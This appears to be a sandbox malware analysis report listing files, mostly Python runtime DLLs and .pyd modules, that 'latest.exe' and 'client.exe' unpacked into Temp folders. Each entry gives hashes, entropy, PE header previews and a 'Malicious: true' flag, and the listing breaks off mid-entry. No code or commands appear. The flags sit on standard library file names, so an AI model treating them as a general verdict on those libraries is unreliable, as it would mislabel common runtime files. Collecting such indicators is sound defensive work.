File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67072
Entropy (8bit):	5.909510426434191
Encrypted:	false
SSDEEP:	1536:aJsHmR02IvVxv7WCyKm7c5Th4MBHTOvyyaZE:apIvryCyKx5Th4M5OvyyO
MD5:	3E579844160DE8322D574501A0F91516
SHA1:	C8DE193854F7FC94F103BD4AC726246981264508
SHA-256:	95F01CE7E37F6B4B281DBC76E9B88F28A03CB02D41383CC986803275A1CD6333
SHA-512:	EE2A026E8E70351D395329C78A07ACB1B9440261D2557F639E817A8149BA625173EF196AED3D1C986577D78DC1A7EC9FED759C19346C51511474FE6D235B1817
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......nT..5..5..5..#M2. 5..x@..(5..x@..&5..x@.."5..x@...5...k..(5..aM..;5..5...5...@..:5...@..+5...@^.+5...@..+5..Rich*5..................PE..d.....qf.........." .........h......\........................................@............`.........................................0...`.......@.... .......................0..(.......................................8............................................text...h........................... ..`.rdata..\I.......J..................@..@.data...x...........................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..(....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\pyexpat.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	202008
Entropy (8bit):	6.369252583877094
Encrypted:	false
SSDEEP:	3072:qwJ1l3SauVCjLwifFPYKDRW97oaU+1urfmwl1CnLiHbe7pjMeU8F5IMLhA8:73SauVCwi6KDRW97oaVybCLiS7pq8FZ
MD5:	8C1F876831395D146E3BCADCEA2486DD
SHA1:	82CBFB59F0581A0554D6A5061E1F82E6B46A3473
SHA-256:	D32D7722D6ED2B2780C039D63AF044554C0BA9CF6E6EFEF28EBC79CB443D2DA0
SHA-512:	73067BB8DCC44CD52551A48400BD8E721268DD44F9884EBB603452ECE9C7BD276D40B7CBCA4F10223F27B8CCDCD1D2EC298A1C767A691859AEA10056C108A730
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!...@..@..@..8N..@.:...@.:...@.:...@.:...@.....@..8..@..@..@.....@.....@..."..@.....@.Rich.@.........PE..d...`b.f.........." ...(..................................................... ......gi....`............................................P...@............................/..........`4..T........................... 3..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...p ..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\python3.dll

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68376
Entropy (8bit):	6.147701397143669
Encrypted:	false
SSDEEP:	768:OV1EbYGVXq6KC/prVHBN0cW18itCQDFPnOMFn+gikF/nFX14uewjBcCCC0yamM/d:ODmF61JFn+/Ob5IML0l7SySxUx
MD5:	5EACE36402143B0205635818363D8E57
SHA1:	AE7B03251A0BAC083DEC3B1802B5CA9C10132B4C
SHA-256:	25A39E721C26E53BEC292395D093211BBA70465280ACFA2059FA52957EC975B2
SHA-512:	7CB3619EA46FBAAF45ABFA3D6F29E7A5522777980E0A9D2DA021D6C68BCC380ABE38E8004E1F31D817371FB3CDD5425D4BB115CB2DC0D40D59D111A2D98B21D4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5...Te..Te..Te...m..Te...e..Te.....Te...g..Te.Rich.Te.................PE..d...Ab.f.........." ...(.............................................................F....`.........................................`...H................................/..............T............................................................................rdata..............................@..@.rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\python312.dll

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6927640
Entropy (8bit):	5.765552513907485
Encrypted:	false
SSDEEP:	49152:mRSn173WIgXqQYRn0I+gaYFD0iRpIrCMEGXgeieBwHTuJTA8LbLH7ft4OCLj8j4V:mIn8hYEgw8Ij887GlSvBHDMiEruuln
MD5:	166CC2F997CBA5FC011820E6B46E8EA7
SHA1:	D6179213AFEA084F02566EA190202C752286CA1F
SHA-256:	C045B57348C21F5F810BAE60654AE39490846B487378E917595F1F95438F9546
SHA-512:	49D9D4DF3D7EF5737E947A56E48505A2212E05FDBCD7B83D689639728639B7FD3BE39506D7CFCB7563576EBEE879FD305370FDB203909ED9B522B894DD87AACB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D..Z%..Z%..Z%......X%....e.T%......^%......R%......W%..S]..@%...]..Q%..Z%..$..O....%..O...[%..O.g.[%..O...[%..RichZ%..........PE..d...=b.f.........." ...(..(..4B..... .........................................j......[j...`..........................................cN.d...$1O.......i......._.xI....i../... i.([....2.T.....................H.(...p.2.@............ (..............................text.....(.......(................. ..`.rdata...6'.. (..8'...(.............@..@.data....I...`O......HO.............@....pdata..xI...._..J....^.............@..@PyRuntim0.....b.......a.............@....rsrc.........i...... h.............@..@.reloc..([... i..\...h.............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\pythoncom312.dll

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	670720
Entropy (8bit):	6.031732543230407
Encrypted:	false
SSDEEP:
MD5:	A2CC25338A9BB825237EF1653511A36A
SHA1:	433DED40BAB01DED8758141045E3E6658D435685
SHA-256:	698B9B005243163C245BFA22357B383E107A1D21A8C420D2EF458662E410422F
SHA-512:	8D55D3F908E2407662E101238DACDBD84AE197E6E951618171DEEAC9CFB3F4CB12425212DBFD691A0B930DA43E1A344C5004DE7E89D3AEC47E9063A5312FA74B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........`...3...3...3..\3...3...2...3...2...3...2...3...2...3...2...3U..2...3...2...3...3..3U..2..3U..2...3U..2...3Rich...3................PE..d...\|..d.........." ......................................................................`..........................................U...c..............l....@...z............... ......T...........................@...8............................................text............................... ..`.rdata...$.......&..................@..@.data....L..........................@....pdata...z...@...\|..................@..@.rsrc...l...........................@..@.reloc... ......."..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\pywintypes312.dll

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	134656
Entropy (8bit):	5.9953900911096785
Encrypted:	false
SSDEEP:
MD5:	26D752C8896B324FFD12827A5E4B2808
SHA1:	447979FA03F78CB7210A4E4BA365085AB2F42C22
SHA-256:	BD33548DBDBB178873BE92901B282BAD9C6817E3EAC154CA50A666D5753FD7EC
SHA-512:	99C87AB9920E79A03169B29A2F838D568CA4D4056B54A67BC51CAF5C0FF5A4897ED02533BA504F884C6F983EBC400743E6AD52AC451821385B1E25C3B1EBCEE0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.$g..wg..wg..wn.[wk..w5..vc..w..5wf..w5..vs..w5..vo..w5..vd..ws..vf..w...ve..ws..vl..wg..w...w...vj..w...vf..w...vf..wRichg..w........PE..d......d.........." ................L........................................P............`......................................... u..`B......,....0..l.......L............@..0...`Q..T............................Q..8............................................text............................... ..`.rdata..R...........................@..@.data....-.......(..................@....pdata..L...........................@..@.rsrc...l....0......................@..@.reloc..0....@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\select.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31000
Entropy (8bit):	6.556986708902353
Encrypted:	false
SSDEEP:
MD5:	7C14C7BC02E47D5C8158383CB7E14124
SHA1:	5EE9E5968E7B5CE9E4C53A303DAC9FC8FAF98DF3
SHA-256:	00BD8BB6DEC8C291EC14C8DDFB2209D85F96DB02C7A3C39903803384FF3A65E5
SHA-512:	AF70CBDD882B923013CB47545633B1147CE45C547B8202D7555043CFA77C1DEEE8A51A2BC5F93DB4E3B9CBF7818F625CA8E3B367BFFC534E26D35F475351A77C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........t..'..'..'..g'..'-..&..'-..&..'-..&..'-..&..'...&..'..'...'...&..'...&..'...&..'...'..'...&..'Rich..'................PE..d...`b.f.........." ...(.....2.......................................................o....`..........................................@..L...<A..x....p.......`.......J.../......L....3..T............................2..@............0...............................text............................... ..`.rdata.......0......................@..@.data...`....P.......8..............@....pdata.......`.......:..............@..@.rsrc........p.......>..............@..@.reloc..L............H..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1541912
Entropy (8bit):	6.576517980395355
Encrypted:	false
SSDEEP:
MD5:	F3592DA629E4F247598E232B2CBFBAC1
SHA1:	65429FBEC3F5545640F2CDA784DC7DCCA420EB3B
SHA-256:	054A7B736DE7AFBD447B07EE5E72DF2FEBCAA06758F7A028873771567E8735D3
SHA-512:	6FC24890A7BE1ED73F1EFDF2B7723C3A7DE5DDB36B87FF7B01949FC2B14813E7B7C8B8311ABEE2796A9A4EFFFEDFC1D2020FFA794E59004CA4FB6798B993190D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........tB..,...,...,..m....,.D.-...,.D./...,.D.(...,.D.)...,..m-...,...-...,...$...,...,...,......,.......,.Rich..,.........PE..d....b.f.........." ...(.2...,.......1....................................................`..............................................#...&.......p...............X.../......X...0...T..............................@............P..X............................text....0.......2.................. ..`.rdata.......P.......6..............@..@.data...`M...@...D..................@....pdata...............`..............@..@.rsrc........p.......>..............@..@.reloc..X............H..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1138456
Entropy (8bit):	5.4620027688967845
Encrypted:	false
SSDEEP:
MD5:	A8ED52A66731E78B89D3C6C6889C485D
SHA1:	781E5275695ACE4A5C3AD4F2874B5E375B521638
SHA-256:	BF669344D1B1C607D10304BE47D2A2FB572E043109181E2C5C1038485AF0C3D7
SHA-512:	1C131911F120A4287EBF596C52DE047309E3BE6D99BC18555BD309A27E057CC895A018376AA134DF1DC13569F47C97C1A6E8872ACEDFA06930BBF2B175AF9017
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#.}.#.}.#.}...%.}..\|.!.}..~. .}..y.+.}..x...}.6-\|. .}.h.\|.!.}.#.\|.s.}.6-p.".}.6-}.".}.6-..".}.6-..".}.Rich#.}.........PE..d...`b.f.........." ...(.@..........0.......................................p.......)....`.........................................p...X............P.......@.......0.../...`......P^..T............................]..@............P..p............................text...!>.......@.................. ..`.rdata..\....P.......D..............@..@.data........ ......................@....pdata.......@......................@..@.rsrc........P.......$..............@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	119192
Entropy (8bit):	6.6016214745004635
Encrypted:	false
SSDEEP:
MD5:	BE8DBE2DC77EBE7F88F910C61AEC691A
SHA1:	A19F08BB2B1C1DE5BB61DAF9F2304531321E0E40
SHA-256:	4D292623516F65C80482081E62D5DADB759DC16E851DE5DB24C3CBB57B87DB83
SHA-512:	0DA644472B374F1DA449A06623983D0477405B5229E386ACCADB154B43B8B083EE89F07C3F04D2C0C7501EAD99AD95AECAA5873FF34C5EEB833285B598D5A655
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\vcruntime140_1.dll

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49528
Entropy (8bit):	6.662491747506177
Encrypted:	false
SSDEEP:
MD5:	F8DFA78045620CF8A732E67D1B1EB53D
SHA1:	FF9A604D8C99405BFDBBF4295825D3FCBC792704
SHA-256:	A113F192195F245F17389E6ECBED8005990BCB2476DDAD33F7C4C6C86327AFE5
SHA-512:	BA7F8B7AB0DEB7A7113124C28092B543E216CA08D1CF158D9F40A326FB69F4A2511A41A59EA8482A10C9EC4EC8AC69B70DFE9CA65E525097D93B819D498DA371
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9@.W}!..}!..}!...S...!..{....!..tYJ.v!..}!..N!..{...x!..{...z!..{...f!..{...\|!..{.&.\|!..{...\|!..Rich}!..................PE..d.....v..........." ...&.<...8.......B...................................................`A........................................Pm.......m..x....................r..xO......D....c..p...........................`b..@............P..`............................text...p:.......<.................. ..`.rdata...#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\win32gui.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	217088
Entropy (8bit):	5.933475371060306
Encrypted:	false
SSDEEP:
MD5:	4EE5CFB68E56A5BA61248AE92C60E8C0
SHA1:	50F064A2CB91284130F99637D2756AC07AF85B01
SHA-256:	E3698280FF0C7769C1CDACF302688735CF4AB632989E1312D2A45747E79F5DF2
SHA-512:	B173C595A8F7D66000AE5BF88ABC7D411A5AF01C5AC2EF73A162199F2F77404654A7F08A9E3E2F3319F5002459CBCB953311641AF525F627E077EBEB7240DC4F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{e..............b.......o.......o.......o.......o......fo.......q..........k...fo......fo......fo......Rich............PE..d... ..d.........." .........r...... .....................................................`............................................d...T........`..\.... ..h:...........p.......L..T............................M..8............................................text............................... ..`.rdata..............................@..@.data...p?.......:..................@....pdata..h:... ...<..................@..@.rsrc...\....`.......D..............@..@.reloc.......p.......H..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\win32process.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	5.669827196110115
Encrypted:	false
SSDEEP:
MD5:	E3AD93E6EF7B66887B2055B0951847D5
SHA1:	68EE4247077229EF117AC9B639EE12BF5FD6364B
SHA-256:	681875CDC970134C36F178B57B26CF279E72E2A80BC9F31A2F7740F2D6834B5D
SHA-512:	F0C0CF1B75CE6E9EC8AF50433FD35C1CCBB497654FEF4606916AC430B438E51A1DD3D94B847F13D7DAD85EA2A93813C0A1FC33808AF0C1CCF621C87D25725E0F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........YI..8'E.8'E.8'E.@.E.8'E.M&D.8'E.M"D.8'E.M#D.8'E.M$D.8'EZM&D.8'E.S&D.8'E.8&E.8'EZM.D.8'EZM'D.8'EZM%D.8'ERich.8'E........................PE..d......d.........." .....l...`......he....................................... ............`.........................................P...X...............l.......................L...(...T...............................8............................................text...rk.......l.................. ..`.rdata...B.......D...p..............@..@.data...............................@....pdata..............................@..@.rsrc...l...........................@..@.reloc..L...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\yaml\_yaml.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	263680
Entropy (8bit):	6.181649262977034
Encrypted:	false
SSDEEP:
MD5:	13912163DA75576B3571D84420599A14
SHA1:	1EA8DDC96B47D2480761F69CAAB01C929837BA7F
SHA-256:	071EDEFCB110C7B727775FC0F7F9C2969DD7EFB83EFCBC356A8000B5865BC169
SHA-512:	0BE612BA7DD5AA9929E9D0044F614DABC7DE0D02378A844B74890C32463FA5C02C960AABEA9ECE5DF472A0A7D5DEB4D79D5659031F07A5EA9414D17CDA08322B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................c)..........c)....c)....c)....c)...........c............................Rich....................PE..d......f.........." ...(.b...........d.......................................p............`.............................................\...,........P.......0...............`.........................................@...............x............................text...Xa.......b.................. ..`.rdata..Jp.......r...f..............@..@.data...0$..........................@....pdata.......0......................@..@.rsrc........P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\zstandard\_cffi.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	650752
Entropy (8bit):	6.4079170700952455
Encrypted:	false
SSDEEP:
MD5:	AFA2B9E9C7153750794ACFDF4BD0E416
SHA1:	19C521D35DCF6BC1546E11ECE12904043BE16FDB
SHA-256:	14DB1D573F7BA8F41563BBC7CDA6F1A46E5F86C1B7096D298593971A0B1C6C60
SHA-512:	38E2EC7F45C6AC7CBC0D5AB7CA94DDF47FC72067507D699FA32F42AA8A4187579724645E45042929140C832C83457011EF83914E397D6F8713A6E018B2823C6B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F...........1....r....I......r.....r.....r.....u......J..u.....u.....u]....u....Rich..........PE..d...j'.f.........." ...(.....\......P........................................0............`.........................................0...\........................3........... .......d..............................Pc..@...............@............................text...x........................... ..`.rdata..b...........................@..@.data...............................@....pdata...3.......4..................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6152_133789921184562233\zstandard\backend_c.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	520192
Entropy (8bit):	6.408474728658084
Encrypted:	false
SSDEEP:
MD5:	0FC69D380FADBD787403E03A1539A24A
SHA1:	77F067F6D50F1EC97DFED6FAE31A9B801632EF17
SHA-256:	641E0B0FA75764812FFF544C174F7C4838B57F6272EAAE246EB7C483A0A35AFC
SHA-512:	E63E200BAF817717BDCDE53AD664296A448123FFD055D477050B8C7EFCAB8E4403D525EA3C8181A609C00313F7B390EDBB754F0A9278232ADE7CFB685270AAF0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................k...........k.....k.....k.....l......T..l.....l.....ln....l....Rich..................PE..d...d'.f.........." ...(............ ........................................0............`......................................... ...d........................)........... ..d...0\...............................Z..@...............(............................text...H........................... ..`.rdata.............................@..@.data....-.......(..................@....pdata...).......*..................@..@.rsrc...............................@..@.reloc..d.... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_brotli.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	821248
Entropy (8bit):	6.053537214093426
Encrypted:	false
SSDEEP:
MD5:	9AD5BB6F92EE2CFD29DDE8DD4DA99EB7
SHA1:	30A8309938C501B336FD3947DE46C03F1BB19DC8
SHA-256:	788ACBFD0EDD6CA3EF3E97A9487EEAEA86515642C71CB11BBCF25721E6573EC8
SHA-512:	A166ABCB834D6C9D6B25807ADDDD25775D81E2951E1BC3E9849D8AE868DEDF2E1EE1B6B4B288DDFBD88A63A6FA624E2D6090AA71DED9B90C2D8CBF2D9524FDBF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]ws..............n......j......Rn......j......j......j.......k..........$....k..9....k.......k.......k......Rich....................PE..d...7..d.........." ...#.B...H......\F....................................................`......................................... s..`....s.......................................I..............................PH..@............`...............................text....@.......B.................. ..`.rdata.......`.......F..............@..@.data................b..............@....pdata...............j..............@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	85272
Entropy (8bit):	6.591841805043941
Encrypted:	false
SSDEEP:
MD5:	30F396F8411274F15AC85B14B7B3CD3D
SHA1:	D3921F39E193D89AA93C2677CBFB47BC1EDE949C
SHA-256:	CB15D6CC7268D3A0BD17D9D9CEC330A7C1768B1C911553045C73BC6920DE987F
SHA-512:	7D997EF18E2CBC5BCA20A4730129F69A6D19ABDDA0261B06AD28AD8A2BDDCDECB12E126DF9969539216F4F51467C0FE954E4776D842E7B373FE93A8246A5CA3F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................b....(......(......(......(......(.....................................................Rich...........PE..d....b.f.........." ...(.....^...............................................`............`.........................................p...H............@.......0..D......../...P..........T...........................p...@............................................text...#........................... ..`.rdata..P>.......@..................@..@.data........ ......................@....pdata..D....0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_cffi_backend.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	179712
Entropy (8bit):	6.180800197956408
Encrypted:	false
SSDEEP:
MD5:	FCB71CE882F99EC085D5875E1228BDC1
SHA1:	763D9AFA909C15FEA8E016D321F32856EC722094
SHA-256:	86F136553BA301C70E7BADA8416B77EB4A07F76CCB02F7D73C2999A38FA5FA5B
SHA-512:	4A0E98AB450453FD930EDC04F0F30976ABB9214B693DB4B6742D784247FB062C57FAFAFB51EB04B7B4230039AB3B07D2FFD3454D6E261811F34749F2E35F04D6
Malicious:	true
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......a..#%p.p%p.p%p.p,..p)p.p5.q'p.p5.zp!p.p5.q!p.p5.q-p.p5.q)p.pn..q!p.p6.q&p.p%p.p.p.pm..q!p.p,..p$p.pm..q$p.pm.xp$p.pm..q$p.pRich%p.p........................PE..d...W..f.........." ...).....B......`........................................0............`..........................................h..l....i..................T............ .......O...............................M..@............................................text............................... ..`.rdata..............................@..@.data....].......0...p..............@....pdata..T...........................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	257304
Entropy (8bit):	6.565831509727426
Encrypted:	false
SSDEEP:
MD5:	7AE94F5A66986CBC1A2B3C65A8D617F3
SHA1:	28ABEFB1DF38514B9FFE562F82F8C77129CA3F7D
SHA-256:	DA8BB3D54BBBA20D8FA6C2FD0A4389AEC80AB6BD490B0ABEF5BD65097CBC0DA4
SHA-512:	FBB599270066C43B5D3A4E965FB2203B085686479AF157CD0BB0D29ED73248B6F6371C5158799F6D58B1F1199B82C01ABE418E609EA98C71C37BB40F3226D8C5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V..............'.....g&......g&......g&......g&.......!.................9....!.......!.......!.......!K......!......Rich............PE..d...[b.f.........." ...(.....<.......................................................4....`..........................................c..P....c...................&......./......T.......T...............................@............................................text...v........................... ..`.rdata..............................@..@.data...X*.......$...b..............@....pdata...&.......(..................@..@.rsrc...............................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	66328
Entropy (8bit):	6.227186392528159
Encrypted:	false
SSDEEP:
MD5:	A25BC2B21B555293554D7F611EAA75EA
SHA1:	A0DFD4FCFAE5B94D4471357F60569B0C18B30C17
SHA-256:	43ACECDC00DD5F9A19B48FF251106C63C975C732B9A2A7B91714642F76BE074D
SHA-512:	B39767C2757C65500FC4F4289CB3825333D43CB659E3B95AF4347BD2A277A7F25D18359CEDBDDE9A020C7AB57B736548C739909867CE9DE1DBD3F638F4737DC5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........8QtZY?'ZY?'ZY?'S!.'^Y?'..>&XY?'..<&YY?'..;&RY?'..:&VY?'.!>&XY?'O.>&_Y?'ZY>'.Y?'O.2&[Y?'O.?&[Y?'O..'[Y?'O.=&[Y?'RichZY?'........PE..d....b.f.........." ...(.V.......... @....................................................`.........................................p...P................................/......X...@}..T............................\|..@............p..(............................text....T.......V.................. ..`.rdata...O...p...P...Z..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	160024
Entropy (8bit):	6.85410280956396
Encrypted:	false
SSDEEP:
MD5:	9E94FAC072A14CA9ED3F20292169E5B2
SHA1:	1EEAC19715EA32A65641D82A380B9FA624E3CF0D
SHA-256:	A46189C5BD0302029847FED934F481835CB8D06470EA3D6B97ADA7D325218A9F
SHA-512:	B7B3D0F737DD3B88794F75A8A6614C6FB6B1A64398C6330A52A2680CAF7E558038470F6F3FC024CE691F6F51A852C05F7F431AC2687F4525683FF09132A0DECB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........D.3H%.`H%.`H%.`A]7`L%.`...aJ%.`...aK%.`...a@%.`...aD%.`]..aK%.`.].aJ%.`H%.`-%.`]..ar%.`]..aI%.`].[`I%.`]..aI%.`RichH%.`........................PE..d....b.f.........." ...(.f..........`8..............................................C.....`......................................... %..L...l%..x....p.......P.......B.../......4.......T...............................@............................................text...be.......f.................. ..`.rdata..............j..............@..@.data...p....@......................@....pdata.......P......."..............@..@.rsrc........p.......6..............@..@.reloc..4............@..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32536
Entropy (8bit):	6.553382348933807
Encrypted:	false
SSDEEP:
MD5:	E1C6FF3C48D1CA755FB8A2BA700243B2
SHA1:	2F2D4C0F429B8A7144D65B179BEAB2D760396BFB
SHA-256:	0A6ACFD24DFBAA777460C6D003F71AF473D5415607807973A382512F77D075FA
SHA-512:	55BFD1A848F2A70A7A55626FB84086689F867A79F09726C825522D8530F4E83708EB7CAA7F7869155D3AE48F3B6AA583B556F3971A2F3412626AE76680E83CA1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7.\.V...V...V...."..V..5...V..5...V..5...V..5...V......V.......V...V...V......V......V....N..V......V..Rich.V..........................PE..d...`b.f.........." ...(.....8............................................................`..........................................C..L...<D..d....p.......`.......P.../...........4..T...........................@3..@............0..8............................text............................... ..`.rdata.......0......................@..@.data........P.......<..............@....pdata.......`.......@..............@..@.rsrc........p.......D..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6472_133789920200404704\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83736
Entropy (8bit):	6.3186936632343205
Encrypted:	false
SSDEEP:
MD5:	69801D1A0809C52DB984602CA2653541
SHA1:	0F6E77086F049A7C12880829DE051DCBE3D66764
SHA-256:	67ACA001D36F2FCE6D88DBF46863F60C0B291395B6777C22B642198F98184BA3
SHA-512:	5FCE77DD567C046FEB5A13BAF55FDD8112798818D852DFECC752DAC87680CE0B89EDFBFBDAB32404CF471B70453A33F33488D3104CD82F4E0B94290E83EAE7BB
Malicious:	true
